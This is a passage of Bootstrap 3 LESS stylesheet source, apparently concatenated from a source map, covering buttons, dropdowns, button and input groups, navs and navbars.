.user-select(none);\n\n &,\n &:active,\n &.active {\n &:focus,\n &.focus {\n .tab-focus();\n }\n }\n\n &:hover,\n &:focus,\n &.focus {\n color: @btn-default-color;\n text-decoration: none;\n }\n\n &:active,\n &.active {\n outline: 0;\n background-image: none;\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n }\n\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n cursor: @cursor-disabled;\n .opacity(.65);\n .box-shadow(none);\n }\n\n a& {\n &.disabled,\n fieldset[disabled] & {\n pointer-events: none; // Future-proof disabling of clicks on `` elements\n }\n }\n}\n\n\n// Alternate buttons\n// --------------------------------------------------\n\n.btn-default {\n .button-variant(@btn-default-color; @btn-default-bg; @btn-default-border);\n}\n.btn-primary {\n .button-variant(@btn-primary-color; @btn-primary-bg; @btn-primary-border);\n}\n// Success appears as green\n.btn-success {\n .button-variant(@btn-success-color; @btn-success-bg; @btn-success-border);\n}\n// Info appears as blue-green\n.btn-info {\n .button-variant(@btn-info-color; @btn-info-bg; @btn-info-border);\n}\n// Warning appears as orange\n.btn-warning {\n .button-variant(@btn-warning-color; @btn-warning-bg; @btn-warning-border);\n}\n// Danger and error appear as red\n.btn-danger {\n .button-variant(@btn-danger-color; @btn-danger-bg; @btn-danger-border);\n}\n\n\n// Link buttons\n// -------------------------\n\n// Make a button look and behave like a link\n.btn-link {\n color: @link-color;\n font-weight: normal;\n border-radius: 0;\n\n &,\n &:active,\n &.active,\n &[disabled],\n fieldset[disabled] & {\n background-color: transparent;\n .box-shadow(none);\n }\n &,\n &:hover,\n &:focus,\n &:active {\n border-color: transparent;\n }\n &:hover,\n &:focus {\n color: @link-hover-color;\n text-decoration: @link-hover-decoration;\n background-color: transparent;\n }\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus {\n color: @btn-link-disabled-color;\n text-decoration: none;\n }\n }\n}\n\n\n// Button Sizes\n// --------------------------------------------------\n\n.btn-lg {\n // line-height: ensure even-numbered height of button next to large input\n .button-size(@padding-large-vertical; @padding-large-horizontal; @font-size-large; @line-height-large; @btn-border-radius-large);\n}\n.btn-sm {\n // line-height: ensure proper height of button next to small input\n .button-size(@padding-small-vertical; @padding-small-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n.btn-xs {\n .button-size(@padding-xs-vertical; @padding-xs-horizontal; @font-size-small; @line-height-small; @btn-border-radius-small);\n}\n\n\n// Block button\n// --------------------------------------------------\n\n.btn-block {\n display: block;\n width: 100%;\n}\n\n// Vertically space out multiple block buttons\n.btn-block + .btn-block {\n margin-top: 5px;\n}\n\n// Specificity overrides\ninput[type=\"submit\"],\ninput[type=\"reset\"],\ninput[type=\"button\"] {\n &.btn-block {\n width: 100%;\n }\n}\n","// Button variants\n//\n// Easily pump out default styles, as well as :hover, :focus, :active,\n// and disabled options for all buttons\n\n.button-variant(@color; @background; @border) {\n color: @color;\n background-color: @background;\n border-color: @border;\n\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 25%);\n }\n &:hover {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n color: @color;\n background-color: darken(@background, 10%);\n border-color: darken(@border, 12%);\n\n &:hover,\n &:focus,\n &.focus {\n color: @color;\n background-color: darken(@background, 17%);\n border-color: darken(@border, 25%);\n }\n }\n &:active,\n &.active,\n .open > .dropdown-toggle& {\n background-image: none;\n }\n &.disabled,\n &[disabled],\n fieldset[disabled] & {\n &:hover,\n &:focus,\n &.focus {\n background-color: @background;\n border-color: @border;\n }\n }\n\n .badge {\n color: @background;\n background-color: @color;\n }\n}\n\n// Button sizes\n.button-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {\n padding: @padding-vertical @padding-horizontal;\n font-size: @font-size;\n line-height: @line-height;\n border-radius: @border-radius;\n}\n","// Opacity\n\n.opacity(@opacity) {\n opacity: @opacity;\n // IE8 filter\n @opacity-ie: (@opacity * 100);\n filter: ~\"alpha(opacity=@{opacity-ie})\";\n}\n","//\n// Component animations\n// --------------------------------------------------\n\n// Heads up!\n//\n// We don't use the `.opacity()` mixin here since it causes a bug with text\n// fields in IE7-8. Source: https://github.com/twbs/bootstrap/pull/3552.\n\n.fade {\n opacity: 0;\n .transition(opacity .15s linear);\n &.in {\n opacity: 1;\n }\n}\n\n.collapse {\n display: none;\n\n &.in { display: block; }\n tr&.in { display: table-row; }\n tbody&.in { display: table-row-group; }\n}\n\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n .transition-property(~\"height, visibility\");\n .transition-duration(.35s);\n .transition-timing-function(ease);\n}\n","//\n// Dropdown menus\n// --------------------------------------------------\n\n\n// Dropdown arrow/caret\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: @caret-width-base dashed;\n border-top: @caret-width-base solid ~\"\\9\"; // IE8\n border-right: @caret-width-base solid transparent;\n border-left: @caret-width-base solid transparent;\n}\n\n// The dropdown wrapper (div)\n.dropup,\n.dropdown {\n position: relative;\n}\n\n// Prevent the focus on the dropdown toggle when closing dropdowns\n.dropdown-toggle:focus {\n outline: 0;\n}\n\n// The dropdown menu (ul)\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: @zindex-dropdown;\n display: none; // none by default, but block on \"open\" of the menu\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0; // override default ul\n list-style: none;\n font-size: @font-size-base;\n text-align: left; // Ensures proper alignment if parent has it changed (e.g., modal footer)\n background-color: @dropdown-bg;\n border: 1px solid @dropdown-fallback-border; // IE8 fallback\n border: 1px solid @dropdown-border;\n border-radius: @border-radius-base;\n .box-shadow(0 6px 12px rgba(0,0,0,.175));\n background-clip: padding-box;\n\n // Aligns the dropdown menu to right\n //\n // Deprecated as of 3.1.0 in favor of `.dropdown-menu-[dir]`\n &.pull-right {\n right: 0;\n left: auto;\n }\n\n // Dividers (basically an hr) within the dropdown\n .divider {\n .nav-divider(@dropdown-divider-bg);\n }\n\n // Links within the dropdown menu\n > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: @line-height-base;\n color: @dropdown-link-color;\n white-space: nowrap; // prevent links from randomly breaking onto new lines\n }\n}\n\n// Hover/Focus state\n.dropdown-menu > li > a {\n &:hover,\n &:focus {\n text-decoration: none;\n color: @dropdown-link-hover-color;\n background-color: @dropdown-link-hover-bg;\n }\n}\n\n// Active state\n.dropdown-menu > .active > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-active-color;\n text-decoration: none;\n outline: 0;\n background-color: @dropdown-link-active-bg;\n }\n}\n\n// Disabled state\n//\n// Gray out text and ensure the hover/focus state remains gray\n\n.dropdown-menu > .disabled > a {\n &,\n &:hover,\n &:focus {\n color: @dropdown-link-disabled-color;\n }\n\n // Nuke hover/focus effects\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none; // Remove CSS gradient\n .reset-filter();\n cursor: @cursor-disabled;\n }\n}\n\n// Open state for the dropdown\n.open {\n // Show the menu\n > .dropdown-menu {\n display: block;\n }\n\n // Remove the outline when :focus is triggered\n > a {\n outline: 0;\n }\n}\n\n// Menu positioning\n//\n// Add extra class to `.dropdown-menu` to flip the alignment of the dropdown\n// menu with the parent.\n.dropdown-menu-right {\n left: auto; // Reset the default from `.dropdown-menu`\n right: 0;\n}\n// With v3, we enabled auto-flipping if you have a dropdown within a right\n// aligned nav component. To enable the undoing of that, we provide an override\n// to restore the default dropdown menu alignment.\n//\n// This is only for left-aligning a dropdown menu within a `.navbar-right` or\n// `.pull-right` nav component.\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n\n// Dropdown section headers\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: @font-size-small;\n line-height: @line-height-base;\n color: @dropdown-header-color;\n white-space: nowrap; // as with > li > a\n}\n\n// Backdrop to catch body clicks on mobile, etc.\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: (@zindex-dropdown - 10);\n}\n\n// Right aligned dropdowns\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n\n// Allow for dropdowns to go bottom up (aka, dropup-menu)\n//\n// Just add .dropup after the standard .dropdown class and you're set, bro.\n// TODO: abstract this so that the navbar fixed styles are not placed here?\n\n.dropup,\n.navbar-fixed-bottom .dropdown {\n // Reverse the caret\n .caret {\n border-top: 0;\n border-bottom: @caret-width-base dashed;\n border-bottom: @caret-width-base solid ~\"\\9\"; // IE8\n content: \"\";\n }\n // Different positioning for bottom up menu\n .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n }\n}\n\n\n// Component alignment\n//\n// Reiterate per navbar.less and the modified component alignment there.\n\n@media (min-width: @grid-float-breakpoint) {\n .navbar-right {\n .dropdown-menu {\n .dropdown-menu-right();\n }\n // Necessary for overrides of the default right aligned menu.\n // Will remove come v4 in all likelihood.\n .dropdown-menu-left {\n .dropdown-menu-left();\n }\n }\n}\n","// Horizontal dividers\n//\n// Dividers (basically an hr) within dropdowns and nav lists\n\n.nav-divider(@color: #e5e5e5) {\n height: 1px;\n margin: ((@line-height-computed / 2) - 1) 0;\n overflow: hidden;\n background-color: @color;\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n","//\n// Button groups\n// --------------------------------------------------\n\n// Make the div behave like a button\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle; // match .btn alignment given font-size hack above\n > .btn {\n position: relative;\n float: left;\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active,\n &.active {\n z-index: 2;\n }\n }\n}\n\n// Prevent double borders when buttons are next to each other\n.btn-group {\n .btn + .btn,\n .btn + .btn-group,\n .btn-group + .btn,\n .btn-group + .btn-group {\n margin-left: -1px;\n }\n}\n\n// Optional: Group multiple button groups together for a toolbar\n.btn-toolbar {\n margin-left: -5px; // Offset the first child's margin\n &:extend(.clearfix all);\n\n .btn,\n .btn-group,\n .input-group {\n float: left;\n }\n > .btn,\n > .btn-group,\n > .input-group {\n margin-left: 5px;\n }\n}\n\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n\n// Set corners individual because sometimes a single button can be in a .btn-group and we need :first-child and :last-child to both match\n.btn-group > .btn:first-child {\n margin-left: 0;\n &:not(:last-child):not(.dropdown-toggle) {\n .border-right-radius(0);\n }\n}\n// Need .dropdown-toggle since :last-child doesn't apply, given that a .dropdown-menu is used immediately after it\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n .border-left-radius(0);\n}\n\n// Custom edits for including btn-groups within btn-groups (useful for including dropdown buttons within a btn-group)\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-right-radius(0);\n }\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-left-radius(0);\n}\n\n// On active and open, don't show outline\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n\n\n// Sizing\n//\n// Remix the default button sizing classes into new ones for easier manipulation.\n\n.btn-group-xs > .btn { &:extend(.btn-xs); }\n.btn-group-sm > .btn { &:extend(.btn-sm); }\n.btn-group-lg > .btn { &:extend(.btn-lg); }\n\n\n// Split button dropdowns\n// ----------------------\n\n// Give the line between buttons some depth\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n\n// The clickable button for toggling the menu\n// Remove the gradient and set the same inset shadow as the :active state\n.btn-group.open .dropdown-toggle {\n .box-shadow(inset 0 3px 5px rgba(0,0,0,.125));\n\n // Show no shadow for `.btn-link` since it has no other button styles.\n &.btn-link {\n .box-shadow(none);\n }\n}\n\n\n// Reposition the caret\n.btn .caret {\n margin-left: 0;\n}\n// Carets in other button sizes\n.btn-lg .caret {\n border-width: @caret-width-large @caret-width-large 0;\n border-bottom-width: 0;\n}\n// Upside down carets for .dropup\n.dropup .btn-lg .caret {\n border-width: 0 @caret-width-large @caret-width-large;\n}\n\n\n// Vertical button groups\n// ----------------------\n\n.btn-group-vertical {\n > .btn,\n > .btn-group,\n > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n }\n\n // Clear floats so dropdown menus can be properly placed\n > .btn-group {\n &:extend(.clearfix all);\n > .btn {\n float: none;\n }\n }\n\n > .btn + .btn,\n > .btn + .btn-group,\n > .btn-group + .btn,\n > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n }\n}\n\n.btn-group-vertical > .btn {\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n &:first-child:not(:last-child) {\n .border-top-radius(@btn-border-radius-base);\n .border-bottom-radius(0);\n }\n &:last-child:not(:first-child) {\n .border-top-radius(0);\n .border-bottom-radius(@btn-border-radius-base);\n }\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group-vertical > .btn-group:first-child:not(:last-child) {\n > .btn:last-child,\n > .dropdown-toggle {\n .border-bottom-radius(0);\n }\n}\n.btn-group-vertical > .btn-group:last-child:not(:first-child) > .btn:first-child {\n .border-top-radius(0);\n}\n\n\n// Justified button groups\n// ----------------------\n\n.btn-group-justified {\n display: table;\n width: 100%;\n table-layout: fixed;\n border-collapse: separate;\n > .btn,\n > .btn-group {\n float: none;\n display: table-cell;\n width: 1%;\n }\n > .btn-group .btn {\n width: 100%;\n }\n\n > .btn-group .dropdown-menu {\n left: auto;\n }\n}\n\n\n// Checkbox and radio options\n//\n// In order to support the browser's form validation feedback, powered by the\n// `required` attribute, we have to \"hide\" the inputs via `clip`. We cannot use\n// `display: none;` or `visibility: hidden;` as that also hides the popover.\n// Simply visually hiding the inputs via `opacity` would leave them clickable in\n// certain cases which is prevented by using `clip` and `pointer-events`.\n// This way, we ensure a DOM element is visible to position the popover from.\n//\n// See https://github.com/twbs/bootstrap/pull/12794 and\n// https://github.com/twbs/bootstrap/pull/14559 for more information.\n\n[data-toggle=\"buttons\"] {\n > .btn,\n > .btn-group > .btn {\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n position: absolute;\n clip: rect(0,0,0,0);\n pointer-events: none;\n }\n }\n}\n","// Single side border-radius\n\n.border-top-radius(@radius) {\n border-top-right-radius: @radius;\n border-top-left-radius: @radius;\n}\n.border-right-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-top-right-radius: @radius;\n}\n.border-bottom-radius(@radius) {\n border-bottom-right-radius: @radius;\n border-bottom-left-radius: @radius;\n}\n.border-left-radius(@radius) {\n border-bottom-left-radius: @radius;\n border-top-left-radius: @radius;\n}\n","//\n// Input groups\n// --------------------------------------------------\n\n// Base styles\n// -------------------------\n.input-group {\n position: relative; // For dropdowns\n display: table;\n border-collapse: separate; // prevent input groups from inheriting border styles from table cells when placed within a table\n\n // Undo padding and float of grid classes\n &[class*=\"col-\"] {\n float: none;\n padding-left: 0;\n padding-right: 0;\n }\n\n .form-control {\n // Ensure that the input is always above the *appended* addon button for\n // proper border colors.\n position: relative;\n z-index: 2;\n\n // IE9 fubars the placeholder attribute in text inputs and the arrows on\n // select elements in input groups. To fix it, we float the input. Details:\n // https://github.com/twbs/bootstrap/issues/11561#issuecomment-28936855\n float: left;\n\n width: 100%;\n margin-bottom: 0;\n\n &:focus {\n z-index: 3;\n }\n }\n}\n\n// Sizing options\n//\n// Remix the default form control sizing classes into new ones for easier\n// manipulation.\n\n.input-group-lg > .form-control,\n.input-group-lg > .input-group-addon,\n.input-group-lg > .input-group-btn > .btn {\n .input-lg();\n}\n.input-group-sm > .form-control,\n.input-group-sm > .input-group-addon,\n.input-group-sm > .input-group-btn > .btn {\n .input-sm();\n}\n\n\n// Display as table-cell\n// -------------------------\n.input-group-addon,\n.input-group-btn,\n.input-group .form-control {\n display: table-cell;\n\n &:not(:first-child):not(:last-child) {\n border-radius: 0;\n }\n}\n// Addon and addon wrapper for buttons\n.input-group-addon,\n.input-group-btn {\n width: 1%;\n white-space: nowrap;\n vertical-align: middle; // Match the inputs\n}\n\n// Text input groups\n// -------------------------\n.input-group-addon {\n padding: @padding-base-vertical @padding-base-horizontal;\n font-size: @font-size-base;\n font-weight: normal;\n line-height: 1;\n color: @input-color;\n text-align: center;\n background-color: @input-group-addon-bg;\n border: 1px solid @input-group-addon-border-color;\n border-radius: @input-border-radius;\n\n // Sizing\n &.input-sm {\n padding: @padding-small-vertical @padding-small-horizontal;\n font-size: @font-size-small;\n border-radius: @input-border-radius-small;\n }\n &.input-lg {\n padding: @padding-large-vertical @padding-large-horizontal;\n font-size: @font-size-large;\n border-radius: @input-border-radius-large;\n }\n\n // Nuke default margins from checkboxes and radios to vertically center within.\n input[type=\"radio\"],\n input[type=\"checkbox\"] {\n margin-top: 0;\n }\n}\n\n// Reset rounded corners\n.input-group .form-control:first-child,\n.input-group-addon:first-child,\n.input-group-btn:first-child > .btn,\n.input-group-btn:first-child > .btn-group > .btn,\n.input-group-btn:first-child > .dropdown-toggle,\n.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle),\n.input-group-btn:last-child > .btn-group:not(:last-child) > .btn {\n .border-right-radius(0);\n}\n.input-group-addon:first-child {\n border-right: 0;\n}\n.input-group .form-control:last-child,\n.input-group-addon:last-child,\n.input-group-btn:last-child > .btn,\n.input-group-btn:last-child > .btn-group > .btn,\n.input-group-btn:last-child > .dropdown-toggle,\n.input-group-btn:first-child > .btn:not(:first-child),\n.input-group-btn:first-child > .btn-group:not(:first-child) > .btn {\n .border-left-radius(0);\n}\n.input-group-addon:last-child {\n border-left: 0;\n}\n\n// Button input groups\n// -------------------------\n.input-group-btn {\n position: relative;\n // Jankily prevent input button groups from wrapping with `white-space` and\n // `font-size` in combination with `inline-block` on buttons.\n font-size: 0;\n white-space: nowrap;\n\n // Negative margin for spacing, position for bringing hovered/focused/actived\n // element above the siblings.\n > .btn {\n position: relative;\n + .btn {\n margin-left: -1px;\n }\n // Bring the \"active\" button to the front\n &:hover,\n &:focus,\n &:active {\n z-index: 2;\n }\n }\n\n // Negative margin to only have a 1px border between the two\n &:first-child {\n > .btn,\n > .btn-group {\n margin-right: -1px;\n }\n }\n &:last-child {\n > .btn,\n > .btn-group {\n z-index: 2;\n margin-left: -1px;\n }\n }\n}\n","//\n// Navs\n// --------------------------------------------------\n\n\n// Base class\n// --------------------------------------------------\n\n.nav {\n margin-bottom: 0;\n padding-left: 0; // Override default ul/ol\n list-style: none;\n &:extend(.clearfix all);\n\n > li {\n position: relative;\n display: block;\n\n > a {\n position: relative;\n display: block;\n padding: @nav-link-padding;\n &:hover,\n &:focus {\n text-decoration: none;\n background-color: @nav-link-hover-bg;\n }\n }\n\n // Disabled state sets text to gray and nukes hover/tab effects\n &.disabled > a {\n color: @nav-disabled-link-color;\n\n &:hover,\n &:focus {\n color: @nav-disabled-link-hover-color;\n text-decoration: none;\n background-color: transparent;\n cursor: @cursor-disabled;\n }\n }\n }\n\n // Open dropdowns\n .open > a {\n &,\n &:hover,\n &:focus {\n background-color: @nav-link-hover-bg;\n border-color: @link-color;\n }\n }\n\n // Nav dividers (deprecated with v3.0.1)\n //\n // This should have been removed in v3 with the dropping of `.nav-list`, but\n // we missed it. We don't currently support this anywhere, but in the interest\n // of maintaining backward compatibility in case you use it, it's deprecated.\n .nav-divider {\n .nav-divider();\n }\n\n // Prevent IE8 from misplacing imgs\n //\n // See https://github.com/h5bp/html5-boilerplate/issues/984#issuecomment-3985989\n > li > a > img {\n max-width: none;\n }\n}\n\n\n// Tabs\n// -------------------------\n\n// Give the tabs something to sit on\n.nav-tabs {\n border-bottom: 1px solid @nav-tabs-border-color;\n > li {\n float: left;\n // Make the list-items overlay the bottom border\n margin-bottom: -1px;\n\n // Actual tabs (as links)\n > a {\n margin-right: 2px;\n line-height: @line-height-base;\n border: 1px solid transparent;\n border-radius: @border-radius-base @border-radius-base 0 0;\n &:hover {\n border-color: @nav-tabs-link-hover-border-color @nav-tabs-link-hover-border-color @nav-tabs-border-color;\n }\n }\n\n // Active state, and its :hover to override normal :hover\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-tabs-active-link-hover-color;\n background-color: @nav-tabs-active-link-hover-bg;\n border: 1px solid @nav-tabs-active-link-hover-border-color;\n border-bottom-color: transparent;\n cursor: default;\n }\n }\n }\n // pulling this in mainly for less shorthand\n &.nav-justified {\n .nav-justified();\n .nav-tabs-justified();\n }\n}\n\n\n// Pills\n// -------------------------\n.nav-pills {\n > li {\n float: left;\n\n // Links rendered as pills\n > a {\n border-radius: @nav-pills-border-radius;\n }\n + li {\n margin-left: 2px;\n }\n\n // Active state\n &.active > a {\n &,\n &:hover,\n &:focus {\n color: @nav-pills-active-link-hover-color;\n background-color: @nav-pills-active-link-hover-bg;\n }\n }\n }\n}\n\n\n// Stacked pills\n.nav-stacked {\n > li {\n float: none;\n + li {\n margin-top: 2px;\n margin-left: 0; // no need for this gap between nav items\n }\n }\n}\n\n\n// Nav variations\n// --------------------------------------------------\n\n// Justified nav links\n// -------------------------\n\n.nav-justified {\n width: 100%;\n\n > li {\n float: none;\n > a {\n text-align: center;\n margin-bottom: 5px;\n }\n }\n\n > .dropdown .dropdown-menu {\n top: auto;\n left: auto;\n }\n\n @media (min-width: @screen-sm-min) {\n > li {\n display: table-cell;\n width: 1%;\n > a {\n margin-bottom: 0;\n }\n }\n }\n}\n\n// Move borders to anchors instead of bottom of list\n//\n// Mixin for adding on top the shared `.nav-justified` styles for our tabs\n.nav-tabs-justified {\n border-bottom: 0;\n\n > li > a {\n // Override margin from .nav-tabs\n margin-right: 0;\n border-radius: @border-radius-base;\n }\n\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border: 1px solid @nav-tabs-justified-link-border-color;\n }\n\n @media (min-width: @screen-sm-min) {\n > li > a {\n border-bottom: 1px solid @nav-tabs-justified-link-border-color;\n border-radius: @border-radius-base @border-radius-base 0 0;\n }\n > .active > a,\n > .active > a:hover,\n > .active > a:focus {\n border-bottom-color: @nav-tabs-justified-active-link-border-color;\n }\n }\n}\n\n\n// Tabbable tabs\n// -------------------------\n\n// Hide tabbable panes to start, show them when `.active`\n.tab-content {\n > .tab-pane {\n display: none;\n }\n > .active {\n display: block;\n }\n}\n\n\n// Dropdowns\n// -------------------------\n\n// Specific dropdowns\n.nav-tabs .dropdown-menu {\n // make dropdown border overlap tab border\n margin-top: -1px;\n // Remove the top rounded corners here since there is a hard edge above the menu\n .border-top-radius(0);\n}\n","//\n// Navbars\n// --------------------------------------------------\n\n\n// Wrapper and base class\n//\n// Provide a static navbar from which we expand to create full-width, fixed, and\n// other navbar variations.\n\n.navbar {\n position: relative;\n min-height: @navbar-height; // Ensure a navbar always shows (e.g., without a .navbar-brand in collapsed mode)\n margin-bottom: @navbar-margin-bottom;\n border: 1px solid transparent;\n\n // Prevent floats from breaking the navbar\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: @navbar-border-radius;\n }\n}\n\n\n// Navbar heading\n//\n// Groups `.navbar-brand` and `.navbar-toggle` into a single component for easy\n// styling of responsive aspects.\n\n.navbar-header {\n &:extend(.clearfix all);\n\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n }\n}\n\n\n// Navbar collapse (body)\n//\n// Group your navbar content into this for easy collapsing and expanding across\n// various device sizes. By default, this content is collapsed when <768px, but\n// will expand past that for a horizontal display.\n//\n// To start (on mobile devices) the navbar links, forms, and buttons are stacked\n// vertically and include a `max-height` to overflow in case you have too much\n// content for the user's viewport.\n\n.navbar-collapse {\n overflow-x: visible;\n padding-right: @navbar-padding-horizontal;\n padding-left: @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n box-shadow: inset 0 1px 0 rgba(255,255,255,.1);\n &:extend(.clearfix all);\n -webkit-overflow-scrolling: touch;\n\n &.in {\n overflow-y: auto;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border-top: 0;\n box-shadow: none;\n\n &.collapse {\n display: block !important;\n height: auto !important;\n padding-bottom: 0; // Override default setting\n overflow: visible !important;\n }\n\n &.in {\n overflow-y: visible;\n }\n\n // Undo the collapse side padding for navbars with containers to ensure\n // alignment of right-aligned contents.\n .navbar-fixed-top &,\n .navbar-static-top &,\n .navbar-fixed-bottom & {\n padding-left: 0;\n padding-right: 0;\n }\n }\n}\n\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n .navbar-collapse {\n max-height: @navbar-collapse-max-height;\n\n @media (max-device-width: @screen-xs-min) and (orientation: landscape) {\n max-height: 200px;\n }\n }\n}\n\n\n// Both navbar header and collapse\n//\n// When a container is present, change the behavior of the header and collapse.\n\n.container,\n.container-fluid {\n > .navbar-header,\n > .navbar-collapse {\n margin-right: -@navbar-padding-horizontal;\n margin-left: -@navbar-padding-horizontal;\n\n @media (min-width: @grid-float-breakpoint) {\n margin-right: 0;\n margin-left: 0;\n }\n }\n}\n\n\n//\n// Navbar alignment options\n//\n// Display the navbar across the entirety of the page or fixed it to the top or\n// bottom of the page.\n\n// Static top (unfixed, but 100% wide) navbar\n.navbar-static-top {\n z-index: @zindex-navbar;\n border-width: 0 0 1px;\n\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n\n// Fix the top/bottom navbars when screen real estate supports it\n.navbar-fixed-top,\n.navbar-fixed-bottom {\n position: fixed;\n right: 0;\n left: 0;\n z-index: @zindex-navbar-fixed;\n\n // Undo the rounded corners\n @media (min-width: @grid-float-breakpoint) {\n border-radius: 0;\n }\n}\n.navbar-fixed-top {\n top: 0;\n border-width: 0 0 1px;\n}\n.navbar-fixed-bottom {\n bottom: 0;\n margin-bottom: 0; // override .navbar defaults\n border-width: 1px 0 0;\n}\n\n\n// Brand/project name\n\n.navbar-brand {\n float: left;\n padding: @navbar-padding-vertical @navbar-padding-horizontal;\n font-size: @font-size-large;\n line-height: @line-height-computed;\n height: @navbar-height;\n\n &:hover,\n &:focus {\n text-decoration: none;\n }\n\n > img {\n display: block;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n .navbar > .container &,\n .navbar > .container-fluid & {\n margin-left: -@navbar-padding-horizontal;\n }\n }\n}\n\n\n// Navbar toggle\n//\n// Custom button for toggling the `.navbar-collapse`, powered by the collapse\n// JavaScript plugin.\n\n.navbar-toggle {\n position: relative;\n float: right;\n margin-right: @navbar-padding-horizontal;\n padding: 9px 10px;\n .navbar-vertical-align(34px);\n background-color: transparent;\n background-image: none; // Reset unusual Firefox-on-Android default style; see https://github.com/necolas/normalize.css/issues/214\n border: 1px solid transparent;\n border-radius: @border-radius-base;\n\n // We remove the `outline` here, but later compensate by attaching `:hover`\n // styles to `:focus`.\n &:focus {\n outline: 0;\n }\n\n // Bars\n .icon-bar {\n display: block;\n width: 22px;\n height: 2px;\n border-radius: 1px;\n }\n .icon-bar + .icon-bar {\n margin-top: 4px;\n }\n\n @media (min-width: @grid-float-breakpoint) {\n display: none;\n }\n}\n\n\n// Navbar nav links\n//\n// Builds on top of the `.nav` components with its own modifier class to make\n// the nav the full height of the horizontal nav (above 768px).\n\n.navbar-nav {\n margin: (@navbar-padding-vertical / 2) -@navbar-padding-horizontal;\n\n > li > a {\n padding-top: 10px;\n padding-bottom: 10px;\n line-height: @line-height-computed;\n }\n\n @media (max-width: @grid-float-breakpoint-max) {\n // Dropdowns get custom display when collapsed\n .open .dropdown-menu {\n position: static;\n float: none;\n width: auto;\n margin-top: 0;\n background-color: transparent;\n border: 0;\n box-shadow: none;\n > li > a,\n .dropdown-header {\n padding: 5px 15px 5px 25px;\n }\n > li > a {\n line-height: @line-height-computed;\n &:hover,\n &:focus {\n background-image: none;\n }\n }\n }\n }\n\n // Uncollapse the nav\n @media (min-width: @grid-float-breakpoint) {\n float: left;\n margin: 0;\n\n > li {\n float: left;\n > a {\n padding-top: @navbar-padding-vertical;\n padding-bottom: @navbar-padding-vertical;\n }\n }\n }\n}\n\n\n// Navbar form\n//\n// Extension of the `.form-inline` with some extra flavor for optimum display in\n// our navbars.\n\n.navbar-form {\n margin-left: -@navbar-padding-horizontal;\n margin-right: -@navbar-padding-horizontal;\n padding: 10px @navbar-padding-horizontal;\n border-top: 1px solid transparent;\n border-bottom: 1px solid transparent;\n @shadow: inset 0 1px 0 rgba(255,255,255,.1), 0 1px 0 rgba(255,255,255,.1);\n .box-shadow(@shadow);\n\n // Mixin behavior for optimum display\n .form-inline();\n\n .form-group {\n @media (max-width: @grid-float-breakpoint-max) {\n margin-bottom: 5px;\n\n &:last-child {\n margin-bottom: 0;\n }\n }\n }\n\n // Vertically center in expanded, horizontal navbar\n .navbar-vertical-align(@input-height-base);\n\n // Undo 100% width for pull classes\n @media (min-width: @grid-float-breakpoint) {\n width: auto;\n border: 0;\n margin-left: 0;\n margin-right: 0;\n padding-top: 0;\n padding-bottom: 0;\n .box-shadow(none);\n }\n}\n\n\n// Dropdown menus\n\n// Menu position and menu carets\n.navbar-nav > li > .dropdown-menu {\n margin-top: 0;\n .border-top-radius(0);\n}\n// Menu position and menu caret support for 